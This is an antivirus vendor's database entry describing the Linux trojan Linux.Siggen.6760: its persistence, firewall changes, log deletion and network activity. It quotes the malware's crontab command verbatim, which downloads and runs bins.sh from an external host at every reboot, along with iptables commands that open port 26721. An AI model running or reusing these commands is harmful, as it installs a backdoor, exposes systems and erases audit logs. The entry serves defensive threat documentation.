Linux.Siggen.6760
Added to the Dr.Web virus database:
2024-03-17
Virus description added:
2024-03-16
Technical Information
To ensure autorun and distribution:
Creates or modifies the following files:
- /var/spool/cron/crontabs/root
Malicious functions:
Launches itself as a daemon
Substitutes application name for:
Launches processes:
- /bin/busybox iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
- /usr/sbin/xtables-nft-multi iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
- crontab -
- crontab -l
- busybox iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
- /usr/bin/iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
- sh bins.sh
- iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
- (crontab -l ; echo \x22@reboot /bin/bash -c \x22/bin/wget http://rebirthltd.com/bins.sh; chmod +x bins.sh; sh bins.sh; /bin/curl -k -L --output bins.sh http://rebirthltd.com/bins.sh; chmod +x bins.sh; sh bins.sh\x22\x22) | crontab -
- chmod +x bins.sh
- /bin/iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
Performs operations with the file system:
Modifies file access rights:
- /var/spool/cron/crontabs/tmp.Zv09sv
Deletes folders:
- /null
- /var/log/syslog
- /var/log/daemon.log
- /tmp/clearsigned.message.9yPEBx
- /tmp/clearsigned.message.TaVZXm
- /tmp/clearsigned.message.3CQn99
- /tmp/clearsigned.message.3CB41c
- /tmp/clearsigned.message.AAIPeD
- /tmp/clearsigned.message.Nk1lCc
- /var/log/btmp
- /var/log/kern.log.1.gz
- /var/log/auth.log.1.gz
- /var/log/debug.1.gz
- /var/log/messages.1.gz
- /var/log/kern.log
- /var/log/auth.log
- /var/log/debug
- /var/log/messages
- /var/lib/logrotate/status.tmp
Creates or modifies files:
- /dev/full
- /var/spool/cron/crontabs/tmp.Zv09sv
- /etc/init/bot.conf
- /root/.bashrc
Deletes files:
- /null
- /var/log/syslog
- /var/log/daemon.log
- /tmp/clearsigned.message.9yPEBx
- /tmp/clearsigned.message.TaVZXm
- /tmp/clearsigned.message.3CQn99
- /tmp/clearsigned.message.3CB41c
- /tmp/clearsigned.message.AAIPeD
- /tmp/clearsigned.message.Nk1lCc
- /var/log/btmp
- /var/log/kern.log.1.gz
- /var/log/auth.log.1.gz
- /var/log/debug.1.gz
- /var/log/messages.1.gz
- /var/log/kern.log
- /var/log/auth.log
- /var/log/debug
- /var/log/messages
- /var/lib/logrotate/status.tmp
Changes time of creation/access/modification of files:
Network activity:
Awaits incoming connections on ports:
- 127.0.0.1:8345
- 0.0.0.0:26721
Establishes connection:
- 8.#.8.8:53
- 13#.#95.4.2:53
- 19#.###.175.43:35342
- 19#.##9.175.43:2222
DNS ASK:
Sends data to the following servers:
Receives data from the following servers:
Curing recommendations
Linux
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